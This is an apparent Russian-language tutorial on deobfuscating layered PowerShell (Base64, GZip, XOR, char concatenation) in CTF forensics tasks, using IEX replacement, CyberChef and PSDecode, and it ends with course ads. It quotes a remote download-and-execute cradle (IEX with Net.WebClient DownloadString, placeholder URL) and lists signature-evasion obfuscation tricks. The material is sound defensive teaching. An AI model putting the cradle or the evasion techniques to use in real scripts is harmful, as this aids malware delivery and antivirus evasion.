
На CTF категории forensics попался .ps1 в 12 КБ — сплошная стена из [ChaR], конкатенаций через + и тройной Base64-обёртки. Без методологии такой скрипт можно ковырять часами. С правильным подходом — за 20 минут. Деобфускация PowerShell скриптов в CTF сводится к нескольким повторяемым приёмам, и дальше — пошаговый разбор каждого: от ручной замены Invoke-Expression на Write-Output до автоматизации через PSDecode и рецептов CyberChef.
PowerShell — штатный инструмент Windows, стоит на каждой машине начиная с Windows 7. По классификации MITRE ATT&CK это техника PowerShell (T1059.001, Execution), а Powershell.exe входит в каталог LOLBAS (Living Off The Land Binaries). Атакующие берут его потому, что он уже на месте — ничего качать не надо.
Обфускация — следующий логический шаг. Техника Obfuscated Files or Information (T1027, Defense Evasion) и её подтехники Command Obfuscation (T1027.010) и Encrypted/Encoded File (T1027.013) описывают конкретные методы маскировки: от простого Base64-кодирования до многослойных конструкций, где каждый уровень расшифровывает следующий. Матрёшка, по сути.
Мотивация атакующего проста: обфусцированный скрипт обходит сигнатурный анализ антивирусов. Строка Invoke-WebRequest в открытом виде детектируется, а та же строка, разбитая на [char]-коды — нет. Техника Ingress Tool Transfer (T1105, Command and Control) часто реализуется именно через обфусцированный PowerShell, который тянет основную нагрузку с внешнего сервера.
Для авторов CTF-заданий PowerShell — удобный объект: он позволяет навернуть произвольное количество слоёв кодирования, каждый из которых использует встроенные функции языка. Участник должен последовательно снять слои и вытащить полезную нагрузку — URL, флаг или команду. Понимание мотивации помогает на CTF: если вы знаете, что скрипт в итоге должен что-то скачать или выполнить, вы знаете, что искать в деобфусцированном результате.
Прежде чем деобфусцировать, нужно понять, что перед вами. В тасках и реальных инцидентах встречаются несколько устойчивых паттернов. Распознавание их на глаз — первый шаг, который экономит время.
Самый частый первый слой — Base64-кодирование всего скрипта. PowerShell нативно поддерживает выполнение закодированного кода через параметр -EncodedCommand (сокращённо -Enc, -EC или даже -e — парсер принимает любой уникальный префикс). Характерные признаки:
A-Za-z0-9+/= после параметра -Enc[System.Convert]::FromBase64String() внутри скрипта — это уже следующий уровеньОдним Base64 дело обычно не ограничивается: скрипт может содержать Base64 внутри Base64, с промежуточным Invoke-Expression между слоями. Паттерн «кодирование → декодирование → IEX → следующий уровень» повторяется столько раз, сколько автор задания посчитал нужным.
Второй по распространённости метод — разбиение команд на фрагменты:
('Down'+'loadStr'+'ing') вместо DownloadString[char]73+[char]69+[char]88 вместо IEX-join массивов символов: (-join [char[]](73,69,88))'xei'[-1..-3] -join '' даёт iex'hxxp://...'.Replace('xx','tt') восстанавливает http://...('I{0}E{1}X' -f '','') собирается в IEXЭти техники ничего не шифруют — они ломают сигнатурный поиск. При деобфускации достаточно выполнить конкатенацию, и строка собирается обратно в читаемый вид.
Более серьёзный слой — побайтовый XOR. Скрипт содержит массив байтов и ключ, каждый байт XOR-ится с ключом для получения исходного текста. Характерные признаки:
@(72,101,108,108,111) или 0x48,0x65,0x6C,0x6C,0x6Fforeach с операцией -bxor[System.Text.Encoding]::ASCII.GetString() после преобразованияВ CTF XOR-ключ часто короткий (1–4 байта) и может быть подобран автоматически. Однобайтовый ключ — CyberChef подберёт за секунды через brute force. Многобайтовый — частотный анализ по распределению символов в декодированном тексте.
Распознали паттерны — переходим к разбору обфусцированного PowerShell. Три метода, от самого безопасного до требующего запуска кода.
Центральный приём ручного анализа вредоносных PowerShell скриптов. Работает в большинстве CTF-сценариев и не требует ничего, кроме текстового редактора.
Логика: обфусцированный скрипт обычно заканчивается вызовом Invoke-Expression (или алиасов), который берёт расшифрованную строку и выполняет её как код. Заменяем IEX на Write-Output — строка не выполнится, а выведется в консоль в расшифрованном виде.
# Было (выполняет код):
IEX (New-Object Net.WebClient).DownloadString('http://...')
# Стало (выводит расшифрованный код в консоль):
Write-Output (New-Object Net.WebClient).DownloadString('http://...')
# Что искать в скрипте (Ctrl+H в ISE или редакторе):
# IEX, Invoke-Expression, .Invoke(), | iex, &($x)
Где искать IEX в обфусцированном скрипте — прячут его по-разному:
IEX, iex, Invoke-Expression$x = 'IEX'; & $x или & ([scriptblock]::Create($decoded))$decoded | IEX.Invoke(): [scriptblock]::Create($decoded).Invoke()& (gcm *ke-E*) $decoded — PowerShell резолвит в Invoke-ExpressionВ CTF чаще встречается многослойная конструкция. Алгоритм итеративный: заменили все IEX на Write-Output, запустили скрипт, скопировали вывод. Это следующий слой — повторяем замену и запуск. Продолжаем, пока вывод не станет читаемым. Каждый цикл снимает один слой обфускации. Для типичного CTF-таска — от двух до пяти итераций.
Метод из блога Security Literate — самый быстрый способ расшифровки PowerShell скрипта, если он не содержит деструктивных действий.
Суть: запустить скрипт в PowerShell ISE (встроенном в Windows) и после выполнения вытащить все переменные из памяти. Предусловие — изолированная виртуальная машина Windows без сетевого доступа. Никогда не запускайте подозрительные скрипты на рабочей машине. Серьёзно — даже «просто посмотреть».
Порядок действий:
powershell_ise.exe)powershell.exe и начальные параметры (-NoP, -NonI, -W Hidden, -Enc) — оставьте только тело скрипта# После выполнения скрипта в PowerShell ISE
Get-Variable | Where-Object { $_.Name -notin
('true','false','null','HOME','PID','PSVersionTable') } |
Format-Table Name, Value -AutoSize
# Для вывода содержимого конкретной переменной:
Write-Output $имя_переменной
Фильтрация системных переменных (true, false, HOME) убирает шум. Переменные, определённые в скрипте, содержат промежуточные и конечные результаты деобфускации. В примере Security Literate при анализе вредоносного документа MS Word переменная $gazuk содержала полностью деобфусцированные команды — URL для скачивания и проверки виртуализации (VMware, VirtualBox, KVM). Скрипт определял, работает ли он в песочнице, и при прохождении проверок тянул JavaScript-файл и исполняемый файл с внешних серверов.
Ограничение: если скрипт немедленно выполняет деструктивное действие (удаление файлов, шифрование) до записи в переменные — запуск в ISE нанесёт ущерб даже виртуальной машине. Поэтому замена IEX на Write-Output — первый шаг до любого запуска. Без исключений.
CyberChef (разработка GCHQ) — универсальный инструмент для декодирования, работающий в браузере. Главное преимущество: не запускает подозрительный код и не требует VM. Открыл вкладку — работаешь.
Рабочий процесс для типичного PowerShell-пейлоада:
Шаг 1 — извлечение. Если скрипт запускается через powershell.exe -Enc <строка>, скопируйте строку после -Enc. Это Base64 в UTF-16LE.
Шаг 2 — рецепт. Соберите цепочку операций в CyberChef (перетаскивание блоков в область рецепта):
From Base64 — декодирует первый слойDecode text (UTF-16LE) — преобразует юникод в читаемый текстFrom Base64Find / Replace с регулярным выражением — удалите IEX для безопасного чтенияШаг 3 — XOR. Если после Base64 видите нечитаемые байты, добавьте операцию XOR Brute Force. CyberChef покажет результат для каждого однобайтового ключа — читаемый текст будет визуально заметен в списке.
Шаг 4 — сохранение. CyberChef позволяет сохранить цепочку операций в URL — удобно для документирования решения CTF-таска и для write-up.
Распространённые рецепты для CTF:
From Base64 → Decode text (UTF-16LE) → Find/Replace — для -EncodedCommandFrom Base64 → Gunzip → Decode text — для сжатых пейлоадов с IO.Compression.GZipStreamFrom Hex → XOR → Decode text — для XOR-кодированных блоковFrom Charcode (Delimiter: comma) — для массивов [char]Минус CyberChef: он не обрабатывает динамическую обфускацию, где результат зависит от промежуточных вычислений PowerShell (переменные, ссылающиеся друг на друга, условные конструкции). Тут уже без VM не обойтись.
Когда слоёв больше трёх и ручная замена IEX начинает утомлять — подключаем автоматизацию.
PSDecode — модуль PowerShell, перехватывающий вызовы Invoke-Expression и записывающий каждый слой в лог. Установка: Install-Module PSDecode из PowerShell Gallery. Запуск: PSDecode <путь_к_скрипту.ps1>. На выходе — каждый промежуточный результат деобфускации от первого слоя до последнего. По сути тот же принцип, что и ручная замена IEX, но без рутины.
PowerDecode — инструмент потяжелее, способный обрабатывать несколько типов кодирования одновременно. Он рекурсивно снимает слои Base64, Hex, XOR и выводит финальный результат. PowerDecode полезен для реальных инцидентов, где обфускация сложнее типичного CTF.
Когда автоматизация не работает:
Add-Type с C#-кодом внутри — PSDecode не обрабатывает встроенный C#-W Hidden (техника Hidden Window, T1564.003) может влиять на логику выполненияВ таких случаях — возврат к ручному анализу или дебаггер PowerShell ISE с точками останова. Команда Set-PSBreakpoint -Script script.ps1 -Line 42 ставит брейкпоинт на конкретную строку, после чего можно пошагово исследовать значения переменных.
Разберём типичный CTF-сценарий от начала до флага. Пример концептуальный, но методология — та же, что и на реальных тасках.
Условие: дан файл artifact.ps1, извлечённый из memory dump. Найти флаг формата CTF{...}.
Шаг 1 — первичный осмотр. Открываем файл в текстовом редакторе (не в PowerShell!). Видим первую строку: powershell.exe -NoP -NonI -W Hidden -Enc <длинная_строка>. Параметры -NoP (No Profile), -NonI (Non-Interactive), -W Hidden (Hidden Window) — классические маркеры вредоносного запуска. Скрипт пытался выполниться скрытно. Уже интересно.
Шаг 2 — снятие первого слоя. Копируем строку после -Enc в CyberChef. Рецепт: From Base64 → Decode text (UTF-16LE). Получаем читаемый PowerShell-код второго уровня.
Шаг 3 — анализ второго уровня. Результат содержит переменную $s с ещё одной Base64-строкой. Далее — цепочка вызовов: [System.Convert]::FromBase64String($s) → создание MemoryStream → распаковка через IO.Compression.GZipStream → чтение через StreamReader → финальный IEX. Паттерн «Base64 + GZip + IEX» — один из самых ходовых в CTF.
Шаг 4 — снятие второго слоя. Вытаскиваем строку из переменной $s, применяем в CyberChef рецепт: From Base64 → Gunzip. Получаем третий уровень — чистый PowerShell без обфускации.
Шаг 5 — извлечение флага. Третий уровень содержит: переменную $flag со значением Base64-строки и вызов [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($flag)). Декодируем Base64 из $flag через CyberChef (From Base64) — готово.
Весь процесс — три итерации: EncodedCommand → GZip → финальный Base64. На каждом шаге одна операция. Время — около десяти минут, включая документирование.
Перед погружением в деобфускацию — систематическая разведка, которая определяет выбор метода.
Фаза 0 — безопасность:
- Работать только в изолированной VM без сетевого доступа
- Не запускать скрипт с оригинальным IEX / Invoke-Expression
- Сделать снэпшот VM перед первым запуском
Фаза 1 — визуальный осмотр:
- Есть ли -Enc / -EncodedCommand в командной строке — признак Base64
- Присутствуют ли [char], -join, -bxor, .Replace() — признаки конкатенации и XOR
- Сколько раз встречается IEX / Invoke-Expression / iex — это количество слоёв
- Есть ли IO.Compression — признак GZip-сжатия
- Есть ли Net.WebClient, Invoke-WebRequest, DownloadString — индикаторы загрузки (T1105)
Фаза 2 — выбор метода:
- Один слой Base64 → CyberChef: From Base64 → UTF-16LE
- Несколько вложенных IEX → замена на Write-Output, итеративно
- Больше трёх слоёв → PSDecode
- XOR с неизвестным ключом → CyberChef XOR Brute Force
- Динамические ключи → дебаг в ISE с Set-PSBreakpoint
Фаза 3 — документирование:
- Сохранить каждый промежуточный слой: layer1.ps1, layer2.ps1...
- Записать рецепт CyberChef (URL с параметрами)
- Зафиксировать итоговые IoC: URL, IP, доменные имена
Таблица предусловий для каждого метода:
| Метод | Требуется VM | Запускает код | Обрабатывает XOR | Многослойность |
|---|---|---|---|---|
| CyberChef | Нет | Нет | Да (brute force) | Вручную |
| IEX → Write-Output | Да | Частично | Нет | Итеративно |
| Дамп переменных (ISE) | Да | Да | Нет | Автоматически |
| PSDecode | Да | Частично | Нет | Автоматически |
| PowerDecode | Да | Частично | Да | Автоматически |
Если CTF-таск требует forensics-отчёт, полезно замапить обнаруженные техники обфускации PowerShell на MITRE ATT&CK. Для обфусцированного PowerShell типичная цепочка:
| Тактика | Техника | ID | Индикатор в скрипте |
|---|---|---|---|
| Execution | PowerShell | T1059.001 | Вызов powershell.exe |
| Defense Evasion | Obfuscated Files or Information | T1027 | Любая обфускация |
| Defense Evasion | Command Obfuscation | T1027.010 | Конкатенация, [char] |
| Defense Evasion | Encrypted/Encoded File | T1027.013 | Base64, XOR |
| Defense Evasion | Deobfuscate/Decode Files or Information | T1140 | FromBase64String, GZip |
| Defense Evasion | Hidden Window | T1564.003 | Параметр -W Hidden |
| Command and Control | Ingress Tool Transfer | T1105 | DownloadString, WebClient |
Эта таблица — готовый блок для write-up. Обнаружение вредоносного PowerShell по этим индикаторам применимо и в CTF, и при анализе реальных инцидентов.
Подавляющее большинство CTF-тасков категории malware и forensics с PowerShell решаются тремя приёмами: замена IEX на Write-Output, CyberChef для Base64/XOR и PSDecode для автоматизации. Никакого реверса на уровне ассемблера — чистая методология. Проблема в том, что новички тратят часы, пытаясь «прочитать» обфусцированный скрипт глазами, разбирая каждый [char]-код вручную. Это не анализ — это мазохизм.
На практике я всегда начинаю с CyberChef: безопасно, не требует VM, показывает результат за секунды. Если CyberChef не справляется — динамические переменные, вложенные вычисления — перехожу к ISE с подменой IEX. PSDecode подключаю только когда слоёв больше пяти и ручная итерация начинает раздражать. За несколько десятков CTF с этим подходом ни один таск с PowerShell не занял больше получаса.
Главная ошибка, которую вижу у коллег: они не документируют промежуточные слои. Снял Base64, получил следующий кусок — и сразу в него нырнул. Потом забыл, что было на предыдущем уровне, и не может восстановить цепочку для write-up. Каждый слой — в отдельный файл с номером: layer0_raw.ps1, layer1_decoded.ps1, layer2_gunzipped.ps1. Это занимает пять секунд и экономит полчаса при написании отчёта. Деобфускация — только одна сторона медали: чтобы по-настоящему понимать, что ищешь в обфусцированном коде, полезно самому пройти весь путь создания пейлоада. Если хочешь не просто writeup, а пройти всю атаку самому — на WAPT эту цепочку проходят в течение двух модулей с лабами.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...